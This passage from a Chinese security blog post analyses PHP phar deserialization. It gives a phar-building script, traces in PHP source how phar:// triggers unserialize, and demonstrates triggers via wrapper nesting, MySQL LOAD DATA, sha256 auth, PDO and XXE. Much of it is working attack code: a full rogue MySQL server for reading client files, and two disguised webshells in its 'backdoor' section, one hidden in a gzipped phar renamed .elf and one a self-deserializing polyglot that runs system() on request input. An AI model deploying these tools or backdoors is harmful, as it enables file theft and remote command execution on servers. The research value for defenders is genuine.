tar.addfile(info, read)

# 打包file.metadata
for file in self.filesData:
if file["loc"]:
info = TarInfo(f".phar/.metadata/{file['fileName'].decode()}/.metadata.bin")
info.size = len(file["metaData"])
info.mtime = self.time
info.mode = 0o000
read = BytesIO(file["metaData"])
tar.addfile(info, read)

# 打包完毕
tar.close()

# 如果有后缀
return out.getvalue() + self.suffix

def zip(self):

out = BytesIO()
fzip = zip_open(file=out, mode="w", compression=ZIP_DEFLATED, compresslevel=9)
timeFormat = localtime(self.time)
timeTuple = (
timeFormat.tm_year, timeFormat.tm_mon, timeFormat.tm_mday, timeFormat.tm_hour, timeFormat.tm_min, timeFormat.tm_sec)

# 打包归档文件
for file in self.filesData:
info = ZipInfo(file["fileName"].decode(), timeTuple)
# 文件写入metadata内容
if file["loc"]:
info.comment = file["metaData"]
fzip.writestr(info, file["fileContent"], compress_type=ZIP_DEFLATED, compresslevel=9)

# 压缩包写入metadata内容
if self.manifestData["loc"]:
fzip.comment = self.manifestData["metaData"]

# 如果有后缀
fzip.comment += self.suffix

# 压缩完毕
fzip.close()
return out.getvalue()

def stub(self):
return self.prefix + self.STUB + b"\r\n"

def manifest(self):

# 归档文件数量
manifest = pack("I", len(self.filesData))
# 版本
manifest += b"\x11\x00"
# 标识
manifest += b"\x00\x00\x01\x00"
# 别名长度
manifest += b"\x00\x00\x00\x00"

# 如果将序列化内容存储于此
if self.manifestData["loc"]:
# metadata长度
manifest += pack("I", len(self.manifestData["metaData"]))
# metadata内容
manifest += self.manifestData["metaData"]
else:
manifest += pack("I", 0)

# 补足长度
manifest = pack("I", 0) + manifest

return manifest

def file(self):

files = b""

# 遍历归档的文件
for file in self.filesData:
# 文件名长度
files += pack("I", len(file["fileName"]))
# 文件名
files += file["fileName"]
# 未压缩大小
files += pack("I", len(file["fileContent"]))
# 时间戳
files += pack("I", self.time)
# 压缩后大小
files += pack("I", len(file["fileContent"]))
# CRC32校验
files += pack("I", crc32(file["fileContent"]))
# 文件权限
files += pack("I", 0o666)

# 如果将序列化内容存储于此
if file["loc"]:
# metadata长度
files += pack("I", len(file["metaData"]))
# metadata内容
files += file["metaData"]
else:
files += pack("I", 0)

return files

def content(self):

contents = b""

# 遍历所有归档文件
for file in self.filesData:
contents += file["fileContent"]

return contents

def signature(self, content):

signature = b""

# 签名内容
if self.signatureType == self.TYPE.MD5:
signature = md5(content).digest()
if self.signatureType == self.TYPE.SHA1:
signature = sha1(content).digest()
if self.signatureType == self.TYPE.SHA256:
signature = sha256(content).digest()
if self.signatureType == self.TYPE.SHA512:
signature = sha512(content).digest()
# 签名标志
signature += self.signatureType
# GBMB标志
signature += self.GBMB

return signature


if __name__ == '__main__':
pharData = {
"prefix": "123",
"suffix": "321",
"manifestData": {
"loc": True,
"metaData": """O:1:"e":1:{s:1:"a";s:4:"text";}""",
},
"filesData": [
{
"fileName": "e.txt",
"fileContent": "dsadawada",
"loc": True,
"metaData": """O:1:"e":1:{s:1:"a";s:4:"text";}""",
},
{
"fileName": "c.txt",
"fileContent": "123",
"loc": True,
"metaData": """O:1:"e":1:{s:1:"a";s:4:"text";}""",
},
],
"signatureType": PHAR.TYPE.SHA1,
"formatType": PHAR.TYPE.TAR
}
p = PHAR(**pharData).generate()
with open("a.phar", "wb") as f:
f.write(p)

- 影响函数 -

说到影响函数,第一时间能想到的应该就是有关文件操作的函数了,至于为什么这些函数能够触发 phar反序列化 ,说到底还是能够调用 phar 协议去解析 phar 文件罢。那么不妨对整个 phar 协议的调用过程做一个分析。

- 分析 -

首先来看一下 phar 协议,它是通过 Stream Wrapper(流包装器) 实现的👇

image-20220126133513990

因此在调用 stream_get_wrappers 函数时,可以看到 phar 👇

image-20220126133646589

跟进 stream_get_wrappers 函数的源码👇

image-20220126133822102

可以看到先是从 php_stream_get_url_stream_wrappers_hash 函数获取有关 Stream Wrapper 哈希表内容后,将遍历内容中的流协议名组成一个数组返回。那么继续跟进 php_stream_get_url_stream_wrappers_hash 函数👇

image-20220126133959138

返回的是有关 Stream Wrapper 信息的内容,记住这个获取的过程。

接着看能够调用 phar 协议去解析文件的函数,比如 readfile 函数👇

image-20220126135132132

这里是调用了 php_stream_open_wrapper_ex 获取流,然后将流内容输出出来,其中 filename 这个传入的参数的值即是包含 phar:// 内容。

那么全局搜索 php_stream_open_wrapper_ex 函数👇

image-20220126135458653

可以得到 php_stream_open_wrapper_ex 函数的原型是 _php_stream_open_wrapper_ex 函数。如果继续全局搜索 _php_stream_open_wrapper_ex 函数,可以发现以下函数的原型都是 _php_stream_open_wrapper_ex 函数👇

  • php_stream_open_wrapper

  • php_stream_open_wrapper_ex

  • php_stream_open_wrapper_rel

  • php_stream_open_wrapper_ex_rel

这里跟进 _php_stream_open_wrapper_ex 函数👇

image-20220126141544337

可以看到是先通过 php_stream_locate_url_wrapper 函数获取 流包装器 内容,然后通过 流包装器 去初始化 内容。其中在调用 php_stream_locate_url_wrapper 函数过程中的 path 参数包含 phar:// 内容。

跟进 php_stream_locate_url_wrapper 函数👇

image-20220126142032041

其中第一行语句 HashTable *wrapper_hash = (FG(stream_wrappers) ? FG(stream_wrappers) : &url_stream_wrappers_hash); 显然和上面获取有关 Stream Wrapper 信息的内容是一致的,而继续往下看这两个条件是获取 协议头部 内容,然后通过从 Stream Wrapper 信息内容中找到符合 协议头部流包装器 ,并返回。

因此 _php_stream_open_wrapper_ex 函数的作用即是通过解析传入的路径的 协议头部 找到相关的 流包装器 ,再从 流包装器 去初始化 ,最后返回得到 的内容。

那么不妨更深一层来看,在源码的 phar 扩展目录中 stream.c 文件里的 phar_parse_url 函数👇

image-20220126153132286

这里只要操作模式不为a*w* 或是 r+ 就有机会调用 phar_open_from_filename 函数,再跟进 phar_open_from_filename 函数👇

image-20220126153241982

可以发现在 phar_open_from_filename 函数中又有机会调用 phar_open_from_fp 函数,而 phar_open_from_fp 函数实际上就是在上面所说的用来解析 phar 文件内容的函数,也就有机会从以下函数👇

  • phar_parse_pharfile
  • phar_parse_tarfile
  • phar_parse_zipfile

最终调用至 phar_parse_metadata 函数进行 反序列化

那么,全局搜索源码的 phar 扩展目录,其中有以下函数会调用 phar_parse_url 函数且有机会符合操作模式条件👇

  • phar_wrapper_open_url
  • phar_wrapper_stat
  • phar_wrapper_unlink
  • phar_wrapper_rename
  • phar_wrapper_open_dir

再来看有关 phar流包装器 的方法包装👇

image-20220126154309642

是存在上面列出的函数的,那么也就是说如果从源码的角度来看,只要能满足以下步骤就有可能可以用 phar:// 去触发 反序列化 👇

  • 调用_php_stream_open_wrapper_ex函数,并操作返回的结果
  • 调用php_stream_locate_url_wrapper函数,并将返回结果做以下操作
    • wrapper->wops->stream_opener()
    • wrapper->wops->stat_url()
    • wrapper->wops->dir_opener()
    • wrapper->wops->unlink()
    • wrapper->wops->rename()
    • ......

最简单的例子,比如 rename 函数👇

image-20220126160255343

是调用了 wrapper->wops->rename() ,实际上确实可以(这里我归档了 3 个文件)👇

image-20220126160439561

当然,其他的像 fopenstatopendirmkdirrmdir 也是可以触发 反序列化 的,所以以上只是判断方法之一罢。

- 结论 -

由此,简单总结出一些常用的可以通过直接或间接调用 phar 协议来进行 反序列化 的函数/语法👇

bzopen copy dba_open dba_popen dir
exif_imagetype exif_read_data exif_thumbnail file file_exists
file_get_contents file_put_contents fileatim filectime filegroup
fileinode filemtime fileowner fileperms filesize
filetype finfo_buffer finfo_file finfo_file fopen
ftp_appen ftp_get ftp_nb_get ftp_nb_put ftp_put
get_meta_tags getimagesize gzfile gzopen hash hash_file hash_file
hash_hmac hash_hmac_file hash_update_file highlight_file imagebmp
imagecreatefrombmp imagecreatefromgd imagecreatefromgd2 imagecreatefromgd2part imagecreatefromgif
imagecreatefromjpeg imagecreatefrompng imagecreatefromtga imagecreatefromwbmp imagecreatefromwebp
imagecreatefromxbm imagecreatefromxpm imagegif imagejpeg imageloadfont
imagepng imagewbmp imagewebp imagexbm imap_savebody
include include_once is_dir is_executable is_file
is_link is_readable is_writable is_writeable md5_file
mhash mime_content_type mkdir parse_ini_file readfile
readgzfile rename require require_once rmdir
scandir show_source sha1_file stat tidy_parse_file
touch unlink

以及常用的可以通过直接或间接调用 phar 协议来进行 反序列化 的类方法👇

SplFileInfo::isFile SplFileInfo::isDir SplFileInfo::isLink SplFileInfo::getSize
SplFileInfo::getType SplFileInfo::getATime SplFileInfo::getCTime SplFileInfo::getGroup
SplFileInfo::getInode SplFileInfo::getMTime SplFileInfo::getOwner SplFileInfo::getPerms
SplFileInfo::openFile SplFileInfo::isReadable SplFileInfo::isWritable SplFileInfo::isExecutable
SplFileObject::__construct XMLReader::open XMLWriter::openUri DOMDocument::loadHTMLFile
DOMDocument::loadXMLFile DirectoryIterator::__construct SimpleXMLElement::__construct PDO::__construct

像一些比较特殊的,比如 mysqli_connectmysqli_query 也可以,到后面的再说。

- 反序列化 -

终于到了有关 反序列化 的正题了,由于一般的如直接从影响函数调用 phar:// 进行 反序列化 已经耳熟能详,下面就根据经验简单的对 反序列化 的方式做一个小补充。

- 协议嵌套 -

在遇到一些特殊情况,如无法以 phar:// 开头时,可以用以下方式替代👇

  • php://filter//resource=phar://
  • compress.zlib://phar://
  • compress.bzip2://phar://

那么依次来看吧。

- php://filter -

先来看 php://filter//resource=phar:// 这一条,在 php_fopen_wrapper.c 文件的 php_stream_url_wrap_php 函数中👇

image-20220126225250441

存在对 php_stream_open_wrapper 函数的调用,而 p + 10 刚好对应 /resource= 的长度,即会将 php://filter//resource=[内容] 的内容部分再次调用 php_stream_open_wrapper 函数进行解析。

- compress.zlib:// -

再来看 compress.zlib://phar:// 这一条,在 zlib_fopen_wrapper.c 文件的 php_stream_gzopen 函数中👇

image-20220126225658691

存在对 php_stream_open_wrapper_ex 函数的调用,而 php_stream_open_wrapper_exphp_stream_open_wrapper 一样,原型都为 _php_stream_open_wrapper_ex 函数;同时这里显然会跳过 compress.zlib:// 并将后面的内容再次放入 php_stream_open_wrapper_ex 函数进行解析(理论上 zlib:phar:// 好像也可以,不会似乎得调用特定的函数)。

- compress.bzip2:// -

接着看 compress.bzip2://phar:// 这一条,在 bz2.c 文件的 _php_stream_bz2open_from_BZFILE 函数中👇

image-20220126230144664

这里是当无法将 compress.bzip2://[内容] 的内容部分作为 bz2 文件解析时就会将其作为参数去调用 php_stream_open_wrapper 函数。

- 演示 -

不妨使用这 3嵌套协议 尝试进行 反序列化 ,其中 phar 代码如下👇

1
2
3
4
5
<?php
class e{}
$p = new Phar("p.phar");
$p->setMetaData(new e);
$p['a']='1';

然后是触发代码👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class e{
function __destruct(){
echo "ok!";
}
}
switch ($argv[1]){

case "1":
@file("php://filter//resource=phar://./p.phar/a");
break;
case "2":
@file("compress.zlib://phar://./p.phar/a");
break;
case "3":
@file("compress.bzip2://phar://./p.phar/a");
break;

}

得到结果👇

image-20220126231118486

可见全都成功了。

- SQL -

没错,在进行有关 SQL 的调用时也是有机会触发 phar 的,而这个有关 SQL 的调用可以分为以下三种情况👇

  • 执行语句 'load data local infile [文件名] into table ?.?'
  • 使用sha256认证模式连接sql服务
  • 以pdo模式连接数据库

那么一个个来看。

- load data local infile -

其中第一个执行 'load data local infile [文件名] into table ?.?' 语句应该都很熟悉了,load data local infile [文件名] 这玩意其实就是早些时候有关 客户端任意文件读取 的漏洞。

那么至于这个语句为什么能够触发 phar 呢,来看 mysqlnd_loaddata.c 文件的 mysqlnd_local_infile_init 函数👇

image-20220126233131818

可以看到,在执行有关 'load data local infile [文件名] into table ?.?' 语句时,会将文件名作为参数去调用 php_stream_open_wrapper_ex 函数,从而也就能对 phar 协议进行解析。

不妨做一个演示,首先是有关 phar 代码👇

1
2
3
4
5
<?php
class e{}
$p = new Phar("p.phar");
$p->setMetaData(new e);
$p['a']='1';

接着需要更改 php.ini 文件中的 mysqli.allow_local_infile = On ,然后就行了(反正我自己的环境是能触发成功了,my.ini 配置没改,甚至 secure_priv_file=NULL)。

之后是触发代码👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class e{
function __wakeup(){
echo "[wakeup]";
}
function __destruct(){
echo "[destruct]";
}
}
$m = mysqli_init();
mysqli_real_connect($m,"127.0.0.1","root","root");
mysqli_query($m,"LOAD DATA LOCAL INFILE 'phar://F:/phpEnv/web/php74/p.phar/a' INTO TABLE cx.a;");
$m->close();
?>

执行效果👇

image-20220126234713369

可见是成功了。

那么不妨尝试利用 客户端任意文件读payload 去尝试触发 phar 👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
from socket import AF_INET, SOCK_STREAM, error
from asyncore import dispatcher, loop as _asyLoop
from asynchat import async_chat
from struct import Struct
from sys import version_info
from logging import getLogger, INFO, StreamHandler, Formatter

_rouge_mysql_sever_read_file_result = {

}
_rouge_mysql_server_read_file_end = False


def checkVersionPy3():
return not version_info < (3, 0)


def rouge_mysql_sever_read_file(fileName, port, showInfo):
if showInfo:
log = getLogger(__name__)
log.setLevel(INFO)
tmp_format = StreamHandler()
tmp_format.setFormatter(Formatter("%(asctime)s : %(levelname)s : %(message)s"))
log.addHandler(
tmp_format
)

def _infoShow(*args):
if showInfo:
log.info(*args)

# ================================================
# =======No need to change after this lines=======
# ================================================

__author__ = 'Gifts'
__modify__ = 'Morouu'

global _rouge_mysql_sever_read_file_result

class _LastPacket(Exception):
pass

class _OutOfOrder(Exception):
pass

class _MysqlPacket(object):
packet_header = Struct('<Hbb')
packet_header_long = Struct('<Hbbb')

def __init__(self, packet_type, payload):
if isinstance(packet_type, _MysqlPacket):
self.packet_num = packet_type.packet_num + 1
else:
self.packet_num = packet_type
self.payload = payload

def __str__(self):
payload_len = len(self.payload)
if payload_len < 65536:
header = _MysqlPacket.packet_header.pack(payload_len, 0, self.packet_num)
else:
header = _MysqlPacket.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)

result = "".join(
(
header.decode("latin1") if checkVersionPy3() else header,
self.payload
)
)

return result

def __repr__(self):
return repr(str(self))

@staticmethod
def parse(raw_data):
packet_num = raw_data[0] if checkVersionPy3() else ord(raw_data[0])
payload = raw_data[1:]

return _MysqlPacket(packet_num, payload.decode("latin1") if checkVersionPy3() else payload)

class _HttpRequestHandler(async_chat):

def __init__(self, addr):
async_chat.__init__(self, sock=addr[0])
self.addr = addr[1]
self.ibuffer = []
self.set_terminator(3)
self.stateList = [b"LEN", b"Auth", b"Data", b"MoreLength", b"File"] if checkVersionPy3() else ["LEN",
"Auth",
"Data",
"MoreLength",
"File"]
self.state = self.stateList[0]
self.sub_state = self.stateList[1]
self.logined = False
self.file = ""
self.push(
_MysqlPacket(
0,
"".join((
'\x0a', # Protocol
'5.6.28-0ubuntu0.14.04.1' + '\0',
'\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
)))
)

self.order = 1
self.states = [b'LOGIN', b'CAPS', b'ANY'] if checkVersionPy3() else ['LOGIN', 'CAPS', 'ANY']

def push(self, data):
_infoShow('Pushed: %r', data)
data = str(data)
async_chat.push(self, data.encode("latin1") if checkVersionPy3() else data)

def collect_incoming_data(self, data):
_infoShow('Data recved: %r', data)
self.ibuffer.append(data)

def found_terminator(self):
data = b"".join(self.ibuffer) if checkVersionPy3() else "".join(self.ibuffer)
self.ibuffer = []

if self.state == self.stateList[0]: # LEN
len_bytes = data[0] + 256 * data[1] + 65536 * data[2] + 1 if checkVersionPy3() else ord(
data[0]) + 256 * ord(data[1]) + 65536 * ord(data[2]) + 1
if len_bytes < 65536:
self.set_terminator(len_bytes)
self.state = self.stateList[2] # Data
else:
self.state = self.stateList[3] # MoreLength
elif self.state == self.stateList[3]: # MoreLength
if (checkVersionPy3() and data[0] != b'\0') or data[0] != '\0':
self.push(None)
self.close_when_done()
else:
self.state = self.stateList[2] # Data
elif self.state == self.stateList[2]: # Data
packet = _MysqlPacket.parse(data)
try:
if self.order != packet.packet_num:
raise _OutOfOrder()
else:
# Fix ?
self.order = packet.packet_num + 2
if packet.packet_num == 0:
if packet.payload[0] == '\x03':
_infoShow('Query')

self.set_terminator(3)
self.state = self.stateList[0] # LEN
self.sub_state = self.stateList[4] # File
self.file = fileName.pop(0)

# end
if len(fileName) == 1:
global _rouge_mysql_server_read_file_end
_rouge_mysql_server_read_file_end = True

self.push(_MysqlPacket(
packet,
'\xFB{0}'.format(self.file)
))
elif packet.payload[0] == '\x1b':
_infoShow('SelectDB')
self.push(_MysqlPacket(
packet,
'\xfe\x00\x00\x02\x00'
))
raise _LastPacket()
elif packet.payload[0] in '\x02':
self.push(_MysqlPacket(
packet, '\0\0\0\x02\0\0\0'
))
raise _LastPacket()
elif packet.payload == '\x00\x01':
self.push(None)
self.close_when_done()
else:
raise ValueError()
else:
if self.sub_state == self.stateList[4]: # File
_infoShow('-- result')
# fileContent
_infoShow('Result: %r', data)
if len(data) == 1:
self.push(
_MysqlPacket(packet, '\0\0\0\x02\0\0\0')
)
raise _LastPacket()
else:
self.set_terminator(3)
self.state = self.stateList[0] # LEN
self.order = packet.packet_num + 1

global _rouge_mysql_sever_read_file_result
_rouge_mysql_sever_read_file_result.update(
{self.file: data.encode() if not checkVersionPy3() else data}
)

# test
# print(self.file + ":\n" + content.decode() if checkVersionPy3() else content)

self.close_when_done()

elif self.sub_state == self.stateList[1]: # Auth
self.push(_MysqlPacket(
packet, '\0\0\0\x02\0\0\0'
))
raise _LastPacket()
else:
_infoShow('-- else')
raise ValueError('Unknown packet')
except _LastPacket:
_infoShow('Last packet')
self.state = self.stateList[0] # LEN
self.sub_state = None
self.order = 0
self.set_terminator(3)
except _OutOfOrder:
_infoShow('Out of order')
self.push(None)
self.close_when_done()
else:
_infoShow('Unknown state')
self.push('None')
self.close_when_done()

class _MysqlListener(dispatcher):
def __init__(self, sock=None):
dispatcher.__init__(self, sock)

if not sock:
self.create_socket(AF_INET, SOCK_STREAM)
self.set_reuse_addr()
try:
self.bind(('', port))
except error:
exit()

self.listen(1)

def handle_accept(self):
pair = self.accept()

if pair is not None:
_infoShow('Conn from: %r', pair[1])
_HttpRequestHandler(pair)

if _rouge_mysql_server_read_file_end:
self.close()

_MysqlListener()
_asyLoop()
return _rouge_mysql_sever_read_file_result


if __name__ == '__main__':

for name, content in rouge_mysql_sever_read_file(fileName=["phar://F:/phpEnv/web/php74/p.phar/a"], port=3307,showInfo=True).items():
print(name + ":\n" + content.decode())

然后重新更改下触发脚本👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class e{
function __wakeup(){
touch("F:/phpEnv/web/php74/e/wakeup");
}
function __destruct(){
touch("F:/phpEnv/web/php74/e/destruct");
}
}
$m = mysqli_init();
mysqli_real_connect($m,"127.0.0.1","123","123","cx",3307);
mysqli_query($m,"select version()");
$m->close();
?>

得到结果👇

image-20220127001645039

可以看到成功触发了 反序列化

另外,其实 mysqli.allow_local_infile 这玩意在 php7.2.16 ~ php7.3.3 默认为 1 👇

image-20220127001442726

说不定又是一个 ctf 的出题思路呢(笑)。

- sha256 auth -

这个印象里好像在那道题见过的,具体原因是当 mysql 服务要求使用 sha256 认证模式时,客户端会加载 rsa公钥 文件,这个加载是可以使用 phar 协议对文件进行解析的。

来看 mysqlnd_auth.c 文件的 mysqlnd_sha256_get_rsa_key 函数👇

image-20220127110748840

这里是将文件名作为参数调用了 php_stream_open_wrapper 函数,因此可以解析 phar 协议。而这个 mysqlnd_sha256_get_rsa_key 函数又来自 mysqlnd_sha256_auth_get_auth_data 函数👇

image-20220127110936587

那么只要将远程服务器设置成 sha256 认证模式,再将其加载的 rsa公钥 文件名更改成 phar 协议内容,在进行连接的时候就有可能触发 phar

不妨做一个演示,首先更改 my.ini 配置👇

1
2
3
4
5
[mysqld]
default-authentication-plugin=sha256_password
ssl-ca="F:/phpEnv/server/mysql/mysql-5.6/ca/ca-cert.pem"
ssl-cert="F:/phpEnv/server/mysql/mysql-5.6/ca/server-cert.pem"
ssl-key="F:/phpEnv/server/mysql/mysql-5.6/ca/server-key.pem"

确保 mysql 服务器是需要密钥通讯的👇

image-20220127111355219

这样就可以了,毕竟只是这个触发 phar 方式是让客户端在加载 rsa公钥 时候就触发的,没必要真登录上,也就没必要新建一个 sha256 密码的 mysql 用户。然后是 phar 代码👇

1
2
3
4
5
<?php
class e{}
$p = new Phar("p.phar");
$p->setMetaData(new e);
$p['a']='1';

以及触发代码👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class e{
function __wakeup(){
touch("F:/phpEnv/web/php74/e/wakeup_auth");
}
function __destruct(){
touch("F:/phpEnv/web/php74/e/destruct_auth");
}
}
$m = mysqli_init();
mysqli_options($m,MYSQLI_SERVER_PUBLIC_KEY,"phar://F:/phpEnv/web/php74/p.phar/a");
mysqli_real_connect($m,"127.0.0.1","123","123"); # 没必要真的登录
mysqli_query($m,"select version()");
$m->close();
?>

得到结果👇

image-20220127112208452

可以发现是成功触发了。

另外,由于 mysqlnd.sha256_server_public_key 的可更改范围为 PHP_INI_PERDIR 👇

image-20220127112341166

PHP_INI_PERDIR 是可以在 .htaccess 里设置👇

image-20220127112543044

由此可以有机会通过上传 .htaccess 文件来结合 mysql 的连接进行 phar 的触发,比如下面的例子👇

image-20220127120402380

可见确实是可以成功触发。

- pdo -

这玩意是用来创建一个表示数据库连接的 pdo 实例,直接来看 pdo_dbh.c 文件的 dsn_from_uri 函数👇

image-20220127121633786

存在对 php_stream_open_wrapper 函数的调用,而传入的 *uri 参数来自 pdo__construct 方法👇

image-20220127121826098

这里会将形如 uri:[内容] 中的内容部分作为参数传入 dsn_from_uri 函数,因此就可以通过构造形如 uri:phar:// 的形式进行 反序列化 。那么有关 phar 的代码👇

1
2
3
4
5
<?php
class e{}
$p = new Phar("p.phar");
$p->setMetaData(new e);
$p['a']='1';

触发代码👇

1
2
3
4
5
6
7
8
9
10
11
<?php
class e{
function __wakeup(){
echo "[wakeup]";
}
function __destruct(){
echo "[destruct]";
}
}
new PDO("uri:phar://F:/phpEnv/web/php74/p.phar/a");
?>

得到结果👇

image-20220127122448351

可见是触发了 __wakeup ,但由于提前报错导致无法执行到 __destruct 这一步。这里只需要让这个 pdo 真的能够连接上 mysql 即可👇

1
2
3
4
5
<?php
class e{}
$p = new Phar("p.phar");
$p->setMetaData(new e);
$p['a']='mysql:host=127.0.0.1;user=root;password=root';

再次尝试👇

image-20220127123358383

可见是成功了。

- XXE -

使用 xxephar 进行触发应该是再平常不过了吧,主要原因还是先来看 libxml.cphp_libxml_streams_IO_open_wrapper 函数👇

image-20220127123936953

大致意思是当 xmlfile 协议去读文件时会通过 php_stream_locate_url_wrapper 函数找到对应协议并调用了 url_stat流包装器 方法。而在上面的分析已经知道当调用 phar流包装器url_stat 方法就有可能到达对 phar 的解析,从而进行 反序列化 ,因此关键点应该是 wrapper->wops->url_stat() 的调用。当然,这个 php_stream_locate_url_wrapper 函数中又有 wrapper->wops->stream_opener() 的调用,也有可能是通过 phar_wrapper_open_url 方法最终达到 反序列化 ,总之能够反序列化就对了(在甚至后面还有对 php_stream_open_wrapper_ex 函数的调用,反正就是层层都有可能进行 反序列化)。

那么不妨写个简单例子,先是 phar 代码👇

1
2
3
4
5
<?php
class e{}
$p = new Phar("p.phar");
$p->setMetaData(new e);
$p['a']='1';

然后是触发代码👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class e{
function __wakeup(){
echo "[wakeup]";
}
function __destruct(){
echo "[destruct]";
}
}
$x=<<<X
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE xxe [
<!ENTITY xxe SYSTEM "phar:///phpEnv/web/php74/p.phar/a" >]>
<a>&xxe;</a>
X;
new SimpleXMLElement($x,2);
?>

其中 phar:///phpEnv/web/php74/p.phar/a 中的 /// 是获取当前盘符根路径,像是 phar://F:/phpEnv/web/php74/p.phar/a 会报错,但 php://filter//resource=phar://F:/phpEnv/web/php74/p.phar/a 可以,phar://./p.phar/a 可以,phar:///var/www/html/p.phar/a 也可以。

得到结果👇

可见是成功了。

- 后门 -

主要思想还是源自 phar.readonly 这个配置值是 PHP_INI_ALL 的👇

image-20220127133015404

也就可以通过 .user.ini.htaccess 以及 ini_set 方式改变,那么就可以通过改变这个值在目标服务器上写 phar 内容。而由于 phar 为归档文件,不仅可以藏 敏感数据 ,又可以触发 反序列化 ,且 phar 的格式支持多种多样, 后门 的写法也就千变万化。

比如可以举其中两个例子。

- 藏数据 -

这个是依靠 phar 文件的格式的多样性来进行的,比如以下代码👇

1
2
3
4
5
6
7
8
9
10
11
<?php
if(!file_exists('/tmp/.a.elf')){
chdir('/tmp');
ini_set('phar.readonly','0');
$p=new Phar(".a.phar");
$p['a']='<?php eval($_REQUEST[7]);?>';
$p->compress(Phar::GZ);
unlink('.a.phar');
rename('.a.phar.gz','.a.elf');
}
@include 'phar:///tmp/.a.elf/a';

敏感数据 打包成了 gz 文件,这样除非解压,直接查看只能是一串乱码👇

image-20220127134624014

当然,压缩成 bz2 也是可以的。

- 自身反序列化 -

这个比较有点 ctf 的味道了,依靠的是 phar 文件的格式多样性和 反序列化 进行,比如以下代码(文件)👇

1
PK     q;T              a PK      q;T                      €    aPK      /   !   ?O:7:"payload":1:{s:1:"x";s:6:"system";}<?php class bypass{static $v=[];}class payload{function __wakeup(){(new ReflectionClass('bypass'))->setStaticPropertyValue('v',$this->x);(bypass::$v)($_REQUEST[7]);}}dir('phar://'.__FILE__.'/a');?>

其中里面的 php 代码如下👇

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
class bypass{
static $v=[];
}
class payload{
function __wakeup(){
(new ReflectionClass('bypass'))->setStaticPropertyValue('v',$this->x);
(bypass::$v)($_REQUEST[7]);
}
}
dir('phar://'.__FILE__.'/a');
?>

简单来说在 wakeup 的时候通过反射将 bypass 类静态属性 $v 的值设为了 payload 类属性 x 的值,然后进行动态调用;而这里将 payload 类属性 x 的值先设为 system ,然后通过 phar 连同 php 代码打包成了 zip 内容,这样在执行时候就相当于通过 自我反序列化 进行动态调用。

比如进行执行👇

image-20220127141824512

可见是成功执行了命令。

- 总结 -

总之呢,这个 phar 还是非常有趣的,如果按照原本的设定好好利用,比如通过 phar 将多个代码文件包装的方式写框架是能够很好的节省空间的,不过如果单纯着就想揪着 phar 有关 反序列化 功能来利用,确实也会是别有一番天地。当然,有关 phar 的利用肯定还不止这些,只能说继续向前吧。


如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。也欢迎您共享此博客,以便更多人可以参与。如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。谢谢 !